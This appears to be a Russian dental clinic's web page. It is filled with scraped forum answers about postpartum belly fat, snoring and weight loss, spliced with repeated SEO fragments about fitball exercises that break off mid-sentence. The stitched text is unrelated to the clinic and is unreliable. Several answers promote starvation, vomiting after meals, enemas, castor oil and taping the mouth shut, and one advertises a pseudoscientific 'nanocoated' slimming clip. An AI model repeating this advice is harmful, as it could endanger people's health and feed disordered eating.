Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Вопросик для уже родивших

Ничего не делала, сам ушел, вот только растяжки выдают, что я мать

Фитбол это специальный гимнастический мяч, который нередко используется во время упражнений в фитнес-центрах.Упражнения для похудения живота и боков.

Бандаж-есть такой пояс или корсет. а вообще природа сама его уберет, главное старайся.

Каччать прес дорогая только Пресс!!!

Самое лучшее для начала - кормить грудью, от этого матка сокращается и живот уменьшается.
Потомуже, когда можно будет, займёшься урпаженениями. Но вообще-то после первых родов многие даже худеют - где-то через год, и опять же лучше восстанавливаются те кто кормили грудью

В вашем возрасте живот уйдет сам за первых несколько месяцев без всяких упражнений, тем более роды первые.

Как родишь сразу утягивайся вот и весь секрет... у меня не было живота уже через месяц... и из роддома я с мини животиком вышла

Комплекс упражнения для живота и боков Упражнения для похудения спины и боков 1. Вертикальные ножницы Лягте на спину, прижмите поясницу к полу, подтяните нижние ребра к тазовым косточкам, скручиваясь в грудном отделе.

Живот пропал где-то месяца через два, сам.. .

А иногда и избавляться не нужно... живот пропадает сам

У меня живота через 2 месяца уже не было. секрет - ФИТБОЛ. подарили на рождение ребенка здоровенный резиновый мяч. сначала не знала зачем. оказалось что с ребенком можно заниматься уже с 2-х недель на нем, да и для себя кучу упражнений нашла. до си пор занимаюсь на нем, и дочке нравится. сейчас ей почти 2 года

Он сам исчез))

У меня после родов живот плоский стал.. а вот спустя полгода опять вырос.. чтоб не поправиться надо соблюдать строжайшую диету, а сидя дома с ребенком это не так-то просто..

Многие женщины и мужчины страдают от лишнего веса, особенно в области боков и живота.Фитбол это гимнастический мяч. Упражнение первое. Нужно сесть на фитбол, держа при этом прямо спину.Как заниматься йогой для похудения.

Если через месяц он у меня не уйдет, я этого не переживу....

Я упражнения не делала (КС) а к 1,5 годам ребенка все пришло в норму само. тоесть стала спокойно одевать те шмотки которые носила до беременности. а еще пила воду замороженную. тож хорошо сгоняет жир. организм тратит много энергии чтоб ее согреть )))
а потом прогулки, все бегом, многие мои знакомые без упражнений все сбросили....

Я через 1,5 мес начала пресс качать, да и утягивается живот не долго.. . бандаж не носила.. . не удобно было

Говорят надо детским кремом мазаться, чтоб растяжки не остались

По идеи я ничего ни делала, не насила там ни какой пояс, гимнастикой не занималась, кароче мне ещё раньше мама говорила чтобы мышцы на животе упругими были надо их как можно чаще напрягать, как бы живот втягивать, после родов тоже так делала, конечно это не легко всегда мышцы в напряг держать но у меня это уже как в порядке вещей, у меня кароче ни какого живота нету!

Упражнения для похудения живота и боков.Упражнения с фитболом гимнастическим мячом . Существует ряд опредленных упражнения, которые требуется выполнять на фитболе.

Я наоборот очень похудела, кости торчали.... только спустя 7 лет, сейчас начала набирать вес

Чего вы так переживаете, может и проблемы как таковой не будет. Я из роддома выходила ровно такой какой была до беременности, никакого живота.

Это генетически заложено в ваш организм-живот, наличие растяжек и талия после родов... .
Бандаж может помочь, но это не всегда гарантия.

Бандаж и побольше движений. стирка например поможет))))

Прямо в роддоме сразу, как начнёте вставать, одевать бандаж. И нас ещё заставляли в роддоме, когда лежим, напрягать мышцы живота и промежности. Реально помогает всем мышцам прийти в норму.

При занятиях с фитболом выполняется большое количество аэробной работы, поэтому эти упражнения прекрасно подходят для похудения живота, бедер, ягодиц, похудения ног и боков.

Эластичным бинтом первые 2 недели матайся. помогает отлично.

Я медовый массаж 2раза сама себе на животе делала. Через месяц после родов. Только не долгий (где-то 10 минут) и не очень интенсивный. Сразу после первого, когда краснота прошла ( на следующий день) , реально кожа более эластичная стала. Кстати между массажами две недели прошло, чаще не рекомендуется. Ну и нижний пресс качала (лёжа на спине, подъем коленей к животу) , обычная накачка пресса мне никогда не помогала. "Велосипед" крутить начала ещё в роддоме, на второй день, врач сама посоветовала.

Чем заменить храп мужа?

Есть много способов избавиться от этой проблемы. Кому-то надо просто похудеть, другим приходится учиться менять привычное положение во сне, некоторым помогают специальные упражнения.
Особенно часто храпят те, кто привык спать на спине. Ведь в этом положении западает язык.
В этом случае придется отвыкать спать в подобной позе. Поможет обычный теннисный мяч. Положите его в кармашек, пришитый к пижаме в области лопаток. Когда во сне вам захочется перевернуться на спину, мяч будет мешать, и вы снова уляжетесь набок или живот.
Придать телу правильное положение можно с помощью специальных ортопедических подушек, купите подобную. Она приподнимает голову так, чтобы та находилась параллельно позвоночнику. Есть также медицинские кровати: у них поднимается верхняя часть. А когда голова и верхняя половина туловища слегка приподняты, язык не западает, слизистая оболочка глотки не отекает, следовательно, человек храпит меньше.
Бывает, что храп вызван не неправильным положением во время сна, а теми или иными дефектами анатомического характера. Тогда может быть рекомендована ринопластика для улучшения дыхания носом или удаление миндалин. Менее кардинальный шаг – использование специальных наклеек, которые крепятся к крыльям носа перед сном. Обратитесь к специалисту, он подскажет, к какому способу прибегнуть в вашем случае. Существуют гомеопатические препараты в виде таблеток и капель, которые укрепляют мышцы гортани.
В аптеках продаются специальные внутриротовые устройства для лечения храпа. Они чем-то похожи на детские соски и фиксируют язык в правильном положении. Особенно эффективно действуют такие устройства при храпе, вызванном смещением назад нижней челюсти.
Можете попробовать заниматься специальной гимнастикой, которая помогает победить храп. Упражнения надо выполнять каждые утро и вечер, по 30 раз. Высуньте язык как можно дальше вперед и вниз. Удерживайте в таком положении 1-2 секунды. Сильно нажмите рукой на подбородок и двигайте вперед-назад нижней челюстью. Крепко зажмите зубами карандаш и держите 3 минуты.

Гиперэкстензия на гимнастическом мяче. Это специальное упражнение на шаре способствует прорабатыванию всех мышц спины и пресса. Лягте животом на фитбол.

Храпом любовника...

Нужно было подготовиться и записать любимый храп до отъезда)) ) Спросите у мужа, будет он вас ревновать к чужому храпу.

Запишите на телефон оденьте наушники и наслождайтесь :))

Попробуй музыку послушать

КаЛЫБеЛЬю ха ха ха шучу ну купи ночные наушники!)))

Как быстро убрать жир с боков и живота, упражнения для женщин.Упражнение для женщин из позы Кобра . Для этого упражнения понадобится только гимнастический коврик.

Терпите) в след. раз запишите храп мужа)

Записать на диктофон. . Ну на будущее. .
А сейчас - мучаться в жутких муках бессонницы. . :))

Http://muzofon.com/search/х рап

Сходите в секс-шоп, Если "храп" не найдете, то может предложат что-нибудь на замену "храпа"))

Чужой храп не позволит заснуть, только родной.

Упражнения на фитболе для похудения 1. скручивание с растяжкой. Упражнение для укрепления мышц живота. Садимся на фитбол и начинаем идти вперед ногами. Стараемся, чтобы мяч оказался под средним отделом спины...

Замени своим пердежом)

У меня кошка храпела, положите рядом!

Как избавиться от храпа ?

НЕ спи)) , по моему нужно хирургическое вмешательство, удаляют что-то, точно не знаю, но у меня друг так делал, ему помогло.
А так, храпи себе на здоровье)))

Отличные упражнения для похудения живота и устранения жира с боков, а также прокачивания нижних мышц является упражнение с мячом. Упражнения с мячом необходимо лечь на пол, между лодыжками зафиксировать мяч...

Да мне тоже интересно?

Спрей от храпа
http://www.piluli.ru/product151498/product_info.html

Делают специальную операцию или спят в маске от аппарата, подающего кислород под напором

Вообще, говорят, что это лечится.. . А пока мой храпун к врачу собирается, сплю со скалкой)) ) иногда помогает)))

Спи на боку. есть такие с шипами штуки которые одевают на затылок и ты просыпаешся когда поворачиваешься на спину

Упражнение для похудения живота. Ложитесь на пол, мяч зажмите между голенями.Упражнения для спины и пресса. Примите положение для отжиманий. Сгибайте колени и направляйте фитбол к животу.

Как избавиться от храпа ? Мужу хочу помочь.

Толкать его всю ночь

Техника выполнения упражнений для похудения живота и боков. 1. Возьмите гимнастический коврик, расстелите и прилягте на него. На затылок положите руки.

Храп мужу не мешает -не надо с другой стороны подъезжать.. . А вот вам мешает....

Кляп на ночь.

А мужа не пытались спросить хочет ли этого он?? ? эгоистка

Храп очень неприятен, прежде всего, близким людям. Но и опасен человеку, который страдает этим недугом. Все дело в том, что храп возникает вследствие ослабления мышц гортани. Из-за такого ослабления язычок может закрыть воздушный проход и человек имеет большие шансы задохнуться. Вот поэтому, начинать лечить храп нужно с посещения врача, а уже потом пытаться вылечиться от этого недуга в домашних условиях.
Еще одной из причин храпа может стать врожденный или приобретенный дефект гортани. Это тоже лечится с помощью врача-специалиста. Ну а теперь, как же побороть храп в домашних условиях?
Чаще всего храп бывает у полных людей. Все дело в том, что у таких людей толстая жировая ткань. Она препятствует правильному проходу воздуха. Снижением веса можно убить сразу двух зайцев, снизить нагрузку веса на собственный организм и уменьшить или вылечить храп. Конечно, эта работа над организмом должна проводиться так же под наблюдением врача. Существует несколько диет, которые можно почитать так же и на этом сайте.
Кроме того, причинами храпа могут быть алкоголь и курение. Они воздействуют на гортань, ослабевая ее мышцы. Чтоб избавиться от храпа нужно бросить курить, а алкоголь принимать не позднее чем за 2 часа до сна. Если в случае с алкоголем это сделать достаточно легко, то с курением все обстоит гораздо серьезней. Но, как и в случае с лишним весом, избавление от этой вредной привычки способно решить сразу несколько проблем. Да это тяжело, но нужно думать о себе.
Если вы храпите от банального насморка, то решить эту проблему достаточно просто, нужно воспользоваться специальными препаратами или закапать нос несколькими каплями облепихового масла.
Неудобная поза для сна, так же является причиной храпа. Обычно человека храпит при сне на спине. Но, во-первых, такая поза для сна является самой эффективной, а во-вторых, храп при сне на спине, скорее всего, вызван лишним весом или плохим физическим состоянием. В обоих случаях эту проблему нужно устранять, а не искать другую позу для сна.
Еще одной причиной сна с храпом может стать сухой воздух в комнате. Перед сном всегда проветривайте помещение и купите специальный увлажнитель для воздуха.
Так же существует китайская методика избавления от храпа. Она основана на массаже специальных точек, которые воздействуют на внутренние органы человека. Не стоит скептически относиться к такого рода массажам, но нужно точно знать из-за какого конкретно органа происходит храп. А для этого все равно придется отправиться к врачу.
Есть и народные средства борьбы с храпом. Один из них это стакан капустного сока с растворенной в нем ложкой меда. Принимать такой напиток нужно перед сном.
Ну и напоследок нужно сказать о таком методе избавления от храпа в домашних условиях как пение. Да, да, вы не ошиблись, именно пение. Эта процедура помогает напрячься мышцам гортани, пение это накачивание этих мышц, а крепкие мышцы гортани залог здорового сна без храпа.
Если у вас нет слуха, все равно пойте, хотя бы в те минуты, когда рядом никого нет. Если петь я вас все равно не заставил, тогда выполняйте специальное упражнение. Напрягите мышцы рта, как будто произносите букву “И” и подержите их секунду-другую. Такие движения нужно повторить 25-30 раз после и перед сном.
Прежде чем пытаться избавиться от храпа в домашних условиях помните, что этот такого рода дыхание во сне, может быть синдромом заболевания. Обязательно нужно обратиться к врачу и пройти комплексное обследование.

Это болезнь. Опасная.

Эффективные упражнения для похудения с гимнастическим мячом. Упражнение 1.Выполнение упражнения лечь на фитбол животом и упереться носками ног в пол. Медленно начинайте вращаться на мяче, постепенно увеличивая ритм.

И правильно, что хотите помочь. Пусть сходит к врачу и выяснит причину храпа. Если дело только в том, что спит на спине - то пришейте на спине футболки или майки, в которой он будет спать карманчик и кладите туда теннисный мяч - муж спать на спине отвыкнет. А если его храп связан с заболеванием, то надо лечиться. Храпуны часто во сне могут перестать дышать.

Подскажите, пожалуйста, самый лучший и быстрый вариант для похудения.

Как тут говорят после 18.00 не есть - пока вот пробую.. но иногда срываюсь!

В новом видео мы покажем вам упражнения с фитболом для похудения живота. А поможет нам в этом Ольга Мартынова - многократная участница и призерка открытых региональных и национальных чемпионатов в категории бикини.

Голод, голод, голод!

Липосакция

Меньше еды,больше движения!

Не жрать! Или есть в меру.

Не есть ...у меня муж не работал так в месяц по 10 кг терял и ничего привык ...главное ничего жирного....

Упражнения для похудения живота. Слишком большой или отвисающий живот становится проблемой для многих женщин.Повиснув на турнике или гимнастической стенке, поднимать немного согнутые в коленях ноги к груди, стараясь не раскачиваться и не махать ногами.

Надо отказаться от трех вещей:
Завтрака, обеда и ужина!

Не есть после семи, пит много жидкости и обязательно - побольше нервничать. помогает

Просто надо спортом занятся, лучше всего помагает бег и велоспорт! Но голодать нельзя, это может привести к нарушению обмена вещ

Голод, клизма, секс и всё это запить водой без газа.

Касторка!!!

Упражнения для похудения живота и боков. Традиционными проблемными зонами прекрасной половины человечества являются живот и бока.Упражнения для пресса с гимнастическим мячом.

ПМЖ - попробовать меньше жрать!

Закрыть рот и не жрать!

Холодильник на замок! ! или после 6 носить смирительную рубашку! ! попробуйте что нить поесть в ней!!))))

Хлеб и вода... лучшая еда....

Только БОДИФЛЕКС! за 5 дней - 6 см в талии! слабо?

Другие виды упражнений для пресса и боков. Убрать жир с живота за неделю помогут и другие комплексы упражнений для похудения. Не забывайте, что существует еще обруч для похудения боков, талии, живота.

Не есть - это,конечно,"лучший" вариант,грозящий болями в желудке и набором предыдущего веса с боооольшим + после того,как отпадёт желание не есть!
Перед каждым приёмом пищи выпивайте стакан воды.И между приёмами пищи также пейте воду.(Лучше минеральную!на ней можно устраивать и 1 разгрузочный день в неделю!)
Кстати,овощная диета может быть чрезвычайно калорийной и нанести больше вред,чем пользы.Например,варёная морковка(((
Удачи и самой стройной фигурки!!

Принимай пищу как лекарство, иначе будешь есть лекарства как еду.
Эт не я придумал. Был такой Авиценна. Большой умница, дервиш и спец по саморегуляции человека...

И если вдруг сьешь чего, так сразу обниматься с другом-унитазом.

Закрыть рот.

Что более действенно для похудения - аэробика или йога?

Аэробика

Упражнения для похудения боков, живота и талии.Техника выполнения упражнений для похудения сброса веса живота, боков и низа спины. 1. Лягте на спину, желательно на гимнастический коврик.

Еще.. . правильная диета)

Аэробные нагрузки. Аэробика.

Липосакция

Йога тут при чем. Это восточная гимнастика, имеющая оккультное направление. Каждое движение что-то означает для нечистого духовного мира. Это чревато последствиями.

Аэробика+ низко углеводная диета бесспорно у руля.

Лучшие упражнения, чтобы убрать бока и живот.Итак, как похудеть в боках и животе с помощью гимнастического мяча? Движения тазом.Содовая ванна для похудения. Отзывы правдивы? Валерия Румпельштильцхен.

Для похудения важно есть много и от пуза, что бы живот стал круглым как мяч, потом залезть под куст и поспать 3 часа. Короче, назад к природе.

Очень трудно общими категориями решить конкретную задачу. Если у человека избыточный вес превышает 50 кг для этого случаю комплекс мер который не подойдет для случая избыточного веса больше 20кг. А в Вашем в вопросе есть некоторое противоречие если его переформулировать то он звучит так: что лучше аэробика или аэробные нагрузки? Почему? Ответ общая формула похудения состоит из двух комплексов (если нет патологии): 1. ПИТАНИЕ. тратить калорий больше чем потребляешь (примерно 3/2) 2.ФИЗКУЛЬТУРА. сжигание жира это любые нагрузки на пульсе 120на80 длящиеся более 40 минут т. к. после 40мин. начинается сжигание так вот если вы занимаетесь 60 минут на сжигание Вы работали 20 минут ( это пример) если избыточный вес 50кг это ходьба, если 20кг то бег.

Аэробика -

Какими упражнениями можно убрать живот?

Если убрать живот, то вы умрете )))

Что же, хватит слов, давайте посмотрим, какие упражнения с мячом для фитнеса помогут вам в похудении.В исходном положении стопы не должны касаться гимнастического мяча А . Теперь поднимайте таз вверх, подкатывая шар к себе ногами.

Можно по бегать)


Только изменение питания

Кардио. Тяжёлые нагрузки для пресса, сушка для рельефа

Нужно качать пресс и крутить обруч... С помощью обруча вы разогреете мышцы на животе и запустите ускоренное кровообращение. Обруч поможет вам разогреться, для более серьезных упражнений на пресс.

Домашние упражнения для похудения боков живота.Лежа на гимнастическом коврике, приподнять выпрямленные ноги и начать крутить воображаемые велосипедные педали.

Кардио

Бегом

Как убрать живот и бока?

Ремень одень, и подтяни.

Для выполнения этого упражнения для похудения с фитболом, лягте животом на мяч, носками упритесь в пол, а руки держите возле телаЛягте правым боком на фитбол, опора на колено левой ноги, правую поставьте на пол, напрягите пресс для удержания равновесия.

Надо правильно питаться, а не есть много и все подряд (многое не нужно и можно легко исключить ) + спорт конечно, физнагрузка.

У всех женщин, наверное такая проблема. Я худенькая, и вот только начинаю поправляться, то именно эти места меня беспокоят. Я занимаюсь раза 2 в неделю фитнесом с Синди Кроуфорд. Можно купить в любом киоске с дисками. Одеваю шорты для похудания, предварительно мажу проблемные места Кремом для моделирования тела от Турбослим. Похудела за 2 месяца на 6 см. в объёме. Советую.

У меня была эта проблема после родов. Малыш был очень беспокойный, его приходилось постоянно укачивать. Для этого я купила специальный фитнес мяч. Я просто брала ребенка на руки и начинала сидя прыгать на мячике. Фигура стала идеальной в течении месяца.

Если нет денег на липосакцию, то надо пересмотреть свой рацион. Я, например, как только исключила сахар из своей жизни, заметила, что жир, уходя с боков и живота, начал появляться на спине! Как только я полностью исключила из рациона животный жир - спина начала сдуваться день за днем! Ну и конечно физ-нагрузки - это суперприем против жира! Но никогда не нацеливайтесь на мгновенный результат, ставьте себе самые минимальные цели и пепевыполняйте план, тогда Вы будете все больше уверены в себе! Следите за суточным калоражем, балансом веществ в рационе, питьевым режимом и разумными нагрузками - результат будет!

Что бы убрать бока и живот необходимо в первую очередь интенсивные занятия спортом, есть специальные упражнения, которые помогут вам убрать бока - вас стоит заниматься с обручем, именно обруч поможет вам похудеть в этой области и конечно же вам помогут танцы живота.

Упражнения на гимнастическом мяче пригодны не только для похудения, но и для своего рода силовой тренировки.Именно польза упражнений на гимнастическом мяче для пресса и интересует большинство из нас, ведь все мы жаждем плоского живота.

Спорт, вам правильно советуют, а еще я пользовалась косметикой для похудения в области живота cell-plus. Медленно, но уверенно шла в минус. В итоге талию довела до желаемого результата, чего и вам советую.

Предлагаемая гимнастика — без прыжков и степа, т. е. в «партере» , сначала покажется Вам очень сложной и трудной. Но постарайтесь делать хотя бы то, что получается, в том темпе, в котором можете поддерживать, и том объеме, который сможете осилить. Движения просты. У Вас получится! Затем, через месяц — два - три, Вы сможете поддерживать и темп и осилите объем гимнастики!
Не сразу! Терпите!
Затем Вы поймете, что без этой гимнастики жизнь становится пресной, т. к. выполнив ее — получите ни с чем несравнимое удовольствие!
Начинайте!.. .
Впереди всего лишь несколько месяцев терпения!?.. и вся жизнь!

Как вы похудели? Денег на фитнес и бассейн нет.

Да не жрала ниче... вот и похудела.

Тогда вам понравятся упражнения на похудение с гимнастическим мячом, которые помогут привести все группы мышц в тонус.Последнее упражнение направлено на проработку косых мышц живота и боков.

Устройтесь на ночную работу разгружать вагоны, и денег заработает и похудеете ещё как ...)

Есть такая штука как халахуп, обруч. . стоит не дорого.. . крутите, качайте пресс, делайте зарядку по утрам, можно и растяжку, побольше ходите, ну и естественно завтрак обед и ужин сократите...

Тогда коляску в руки и быстрым шагом по 3 часа в день ходить без пересидок на лавочке.. .
Сладкого, мучного поменьше и желательно не есть после 18.00, а выпить за вечер 2-3 стакана кефира.

Занимайтесь дома, бегайте лучше по утрам но через 30 мин после сна (как минимум) , организму надо проснуться, крутите обруч, скачайте себе какую-нибудь гамнастику с нета и т. п.

Ничего не делала, меню не меняла. Похудела конечно, но такой как раньше мне уже не стать (((

Выполнять комплекс упражнений для похудения необходимо через день.А теперь перейдем к самим упражнениям, которые позволят убрать живот и бокаПримите упор, ладони расположите под плечами, ноги положите на гимнастический мяч.

Если денег нет то вообще легко - не жрать!! ! можно купить диск с гимнастикой, а ля бодифлекс или каланетик и заниматься ею и тогда процесс пойдет быстрее

Удивишься- меньше жрать и больше двигаться

Меньше есть . Бегать можно и на улице. Сейчас тепло, как вариант если есть рядом школа то можно бегать на спорт площадке, круг это 200 метров. Начинайте со скольких сможете и постепенно прибавляйте круги .

Может и на еду денег не найдете тогда?

Сама собой потихоньку! Но за аппретитом следила. После 18-00 не есть - это фигня, просто не надо обжираться и налегать как во время беременности) а подрастающее дите - в помощь, чем оно старше, тем больше движений будет))

Нас интересует - гимнастика для лица, массаж от морщин, похудание, омоложение, очищение организма.Как убрать жир с боков и живота - Супер упражнение. Протокол Табата - Интервальная тренировка для похудения.

С помощью спорта, но без диеты -похудеть невозможно.
А с помощью диеты и БЕЗ спорта - похудеть можно! Просто со спортом худеется быстрее. И кожа будет упругая.
Но если на фитнес и бассейн нет денег, значит можно занимать дома спортом и правильно питаться (сократить жирное, сладкое и изделия из белой муки, пить 2 л воды в день)

Скотч! дешево и сердито. и еще замок на холодильник.

Все способы фигня- есть на ведро меньше!!!

Твогог+ гречневая каша (с них есть меньше всего хочется). Небольшими порциями есть. Очень быстрое насыщение.

Жизнь - это движение! Больше двигаться и кушать чаще, но меньше. Удачи!

Упражнения на пресс. Как убрать живот и бока. Упражнения с гимнастическим роликом для пресса. Аэробная гимнастика. Джаз аэробика.Упражнения от импотенции. Масло кунжутного семени для похудения для волос.

"жрать меньше надо" это сказала Майя Плисецкая.

Я купила фитнес мяч с массажным эффектом, садилась перед телевизором и прыгала) кушала много) А похудела) даже самое проблемное убралось, живот (после кесарева) , и с боков! Стоит большой мяч 650руб. можно и поменьше купить. у меня 75 см в диаметре. Таким способом похудела и моя подруга. Так что удачи) Кстати я стала худее, чем до беременности.

Люблю две вещи - пожрать и похудеть) Слова Плисецкой надо выбить золотом на граните для всех задающих дурацкие вопросы.. . "Не жрать"! Моя любимая диета: исключаем из рациона все, что хотябы отдаленно напоминает животные жиры, хлебы и макароны. Оставляем овощи фрукты морепродукты каши оливковое масло. Жрем один раз в день часиков в 12 13 дня. Через месяц минус 10 12 килограмм точно и без особых страданий.

Как избавиться от храпа?

В настоящее время наиболее эффективны операции на мягком небе.

Супер эффективные упражнения для похудения боков и живота комлексы для дома и тренажерного зала.Замечательный способ убрать жировые отложения в области талии имитация процесса гребли. Сидя на полу или гимнастическом коврике необходимо...

Иногда когда храпит муж.. у меня возникает не преодалимое желание его задушить подушкой.. . вообще хорошее средство пинок под зад .мне помогает по крайней мере

Как быстро сбросить жир с живота попы,ляшек и боков)))

Гимнастика и секс - вот народные проверенные рецепты.

L-карнитин для похудения. Фитнес для женщин. Кардио. Похудение. Пищевые добавки.Лягте на фитбол боком, на косую мышцу живота или бедро. Ваше тело должно представлятьИсходное положение Встаньте спиной к стене, прижав к ней гимнастический мяч как на фото .

Фитнесс-клуб. Беговая дорожка.

Спорт, диск здоровья и ограничение еды после 6

Переходи на сыроедение (можно есть фрукты, овощи, орехи в любом количестве и в любое время) , можно даже моно, когда за один прием съедают по одному виду продукта - это если очень хочется похудеть и в короткие сроки. Никакой соли, сахара, масла (я салаты ничем не заправляю) , пить только воду. Плюс быстрая ходьба, физ упражнения (для живота и боков хорошо наклоны во все стороны) . Через неделю уже будет результат) ) Удачи!

Как избавиться от храпа во сне?

Самая эффективная диета для похудения в ногах и боках(чтоб недели за 2 в ляшках похудеть),какая?

Самое эффективное средство - занятие любовью, только принимай при этом очень активное участие, не будь пассивной и все с ляшками и боками буде супер!!!

Видео упражнения. Гимнастика для похудения живота. Отличный способ избавиться от жировых отложений на животе и бокахХорошие результаты для похудения в области бедер приносят упражнения, выполненные с использованием гимнастического мяча фитбола.

Заклей рот скотчем!

Ходи, приседай, бегай.. . Главное не сидеть! ! вся эта гадость от нашего сидячего образа жизни!

Небывает диет для определенных групп мышц эээ групп жиров?)))))) ) Короче говоря женщины толстеют в этих местах, а мужчины в других. Тебе просто нужно питаться сбалансированно, считая калории и заниматься спортом, хотя бы через день, бег, плавание, скакалка, гимнастика.

Лето уже на пороге, уже хочется на пляж, а фигура еще так далека от совершенства.. . Что же делать? Нужно какое-то эффективное и быстрое средство для похудения. И при этом совсем не хочется истязать собственный организм немыслимыми нагрузками или экстремальными продуктами. Итак, мы хотим похудеть, при этом оставаясь бодрыми и жизнерадостными. То есть нам нужна диета, которая поможет эффективно снизить вес и не голодать при этом.
Такая диета существует – гречневая. Она рассчитана на одну неделю, но наиболее стойкие дамы выдерживают и до двух недель. Именно о ней мы и поговорим на МирСоветов.
Продукты для гречневой диеты
Суть проста: берем один стакан не дробленой гречневой крупы, заливаем двумя стаканами кипятка и оставляем настаиваться на ночь. Утром едим только гречку, запивая ее 1% кефиром. Солить, сластить и добавлять масло в гречку нельзя. Съесть за один раз можно «сколько влезет» - несоленая гречка обладает настолько специфичным вкусом, что вряд ли вы съедите больше 10 ложек за раз. Кефир должен быть свежим и не сладким. В первый день гречневой диеты вполне достаточно будет одного стакана заваренной гречневой крупы (то есть двух стаканов готового продукта) . Но если почувствуете, что можете съесть больше, на другие дни заваривайте большее количество крупы (пропорция та же: 1 часть гречки, две части воды) . Но при любом количестве гречки вы можете выпивать не более 1 литра кефира в день. Тем, кто не мыслит свое утро без чашки кофе, можно не отказывать себе в этом удовольствии, только кофе должен быть слабым и без сахара. То же можно сказать и любительницам чая. На время сидения на гречневой диете лучше перейти на зеленый чай. Если будет уж очень тяжело кушать одну гречку, можно сделать себе послабление в виде одного-двух яблок или апельсинов в день. В принципе, можно есть любые фрукты кроме бананов и винограда. Все зависит от количества съеденных фруктов, если съесть слишком много, потом просто не сможете вернуться к суровой гречневой диете. Когда станет совсем невмоготу все время кушать несоленую гречневую кашу, можно сдобрить ее соевым соусом. Только соус должен быть низкокалорийный и без соли. Во время гречневой, как во время большинства других диет, крайне не желательно есть после 6 часов вечера. Но если вам трудно следовать этому правилу, оставьте на вечер полстакана кефира, долейте водой до полного и выпейте это перед сном.
Что происходит с организмом во время гречневой диеты?
Начнем с того, что гречневая крупа очень полезна, в ней содержатся такие микроэлементы как железо, калий, магний, кальций. Кроме того, гречка укрепляет стенки сосудов. Вдобавок, содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.
Отрицательная сторона гречневой диеты в том, что вы не будете получать ни соли, ни сахара. Поэтому эту диету следует применять с осторожностью людям, у которых диабет и/или гипертоническая болезнь. Несоленая гречка выводит из организма шлаки и лишнюю воду. Из-за того, что в организм не поступает соль, периодически возможны головные боли, а также это может спровоцировать падение артериального давления. Пока мы сидим на гречневой диете, мы обделяем свой организм и сахаром. А сахар – это глюкоза, которая так необходима мозгу для эффективной работы. Поэтому во время гречневой диеты вы можете почувствовать, что голова стала соображать хуже и безумно хочется сладкого. Выход есть: разведите чайную ложку меда в стакане воды и выпейте этот «напиток» . Не бойтесь, вся глюкоза достанется мозгу, а не отложится на бедрах.
Пока вы будете есть только гречку и пить кефирчик, организму придется пускать в оборот свои резервы – сжигать жир, чтобы обеспечить организм недостающими питательными веществами. В результате ускорится обмен веществ и сжигание жира пойдет быстро и легко.

Как убрать бока

Меньше мучного побольше ночного....

Супер эффективные упражнения для похудения боков и живота комлексы для дома и тренажерного зала.Замечательный способ убрать жировые отложения в области талии имитация процесса гребли. Сидя на полу или гимнастическом коврике необходимо...

Ничего нового. Двигайте телом, меньше ешьте.
А! И массажи (хотя бы вибропояс) и контрастный душ с кремами "подтяжками".

Включайте дома ритмичную музыку и отрывайтесь в течении часа каждый день. Сами увидите результат. Только перед этим зафиксируйте свой вес.

Как убрать бока на талии.
Большинство упражнений рассчитаны на то, чтобы укрепить косые мышцы живота и тем самым не только подтянуть животик, но и согнать жирок с боков. С этой целью можно выполнять наклоны.
1. И. п. : ноги чуть расставлены, на ширине плеч. Наклоняемся вперед и тянемся при этом правой рукой к носку левой ноги. Возвращаемся в исходное положение. Наклон вперед, но теперь левой рукой тянемся к правой ноге. Выполняется упражнение в два подхода, по 30-40 наклонов в каждую сторону.
2. Гораздо большего эффекта можно достичь, если усложнить наклоны гантелями. Взяв гантель в левую руку, правую кладем на пояс. Наклоняемся влево, возвращаемся в исходное положение. Делаем то же самое, но в другую сторону. Повторяем, как и первое упражнение, в 2 подхода.
3. Следующее упражнение носит живописное название «складной нож» . Для его выполнения нужно лечь на левый бок. Левая рука может быть выдвинута вперед или в сторону, как вам удобнее, правая – за головой. Ноги вместе. Одновременно поднимается вверх правая нога и тянется кверху верхняя часть туловища, мышцы живота напряжены. Плавный возврат в исходное положение, и все повторяется на другом боку.
4. Хороший результат дают махи ногами, выполняемые с утяжелителями в положении лежа на спине. Убедиться в этом несложно. Достаточно надеть утяжелители на ноги и попробовать сделать самые обычные «ножницы» или изобразить езду на велосипеде.
5. Отличным помощником в борьбе с ушками на талии может стать и фитбол. Попробуйте, например, проделать следующее упражнение. Сядьте на мяч. Спина прямая, ноги на полу. А теперь покатайте фитбол вправо и влево при помощи одной только «пятой точки» , сохраняя корпус неподвижным. Повторите несколько раз в каждом направлении.

Могу посоветовать вам прессотерапию. Мне всего за 7 процедур, 3 из которых по купону со скидкой от купонатора удалось избавиться от лишнего на животе и боках. Советую, я очень довольна результатом.

Отличные результаты дает сочетание дыхательной системы Оксисайз со специальными упражнениями и с инновационной разработкой российских ученых - клипсой с нанопокрытием для похудения.
Преимущества такого метода:
•Относительная простота и доступность для каждого.
•Можно худеть и укреплять тело в домашних условиях.
Клипса с нанопокрытием сочетает в себе достижения нанотехнологий и рефлексотерапии.
Снижает чувство голода, ускоряет обмен веществ, нормализует работу эндокринной системы и пищеварительного тракта.
Дыхательная гимнастика Оксисайз в сочетании со статическими упражнениями на определенные участки тела (живот, талия, бедра, ягодицы и другие) позволяет снизить их объемы и укрепить мышцы.
А все вместе-клипса с нанопокрытием и Оксисайз –это то что вам нужно!
Подробнее смотрите на сайте «Похудеть - 21 век» .

Фитбол это специальный гимнастический мяч, который нередко используется во время упражнений в фитнес-центрах.Упражнения для похудения живота и боков.

Как похудеть в икрах? И в животе? фото внутри

Не видно ни икр, ни живота

Комплекс упражнения для живота и боков Упражнения для похудения спины и боков 1. Вертикальные ножницы Лягте на спину, прижмите поясницу к полу, подтяните нижние ребра к тазовым косточкам, скручиваясь в грудном отделе.

А где живот? где икры?

На аэробику запишись

Упражнения для похудения живота и боков на гимнастическом мяче
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
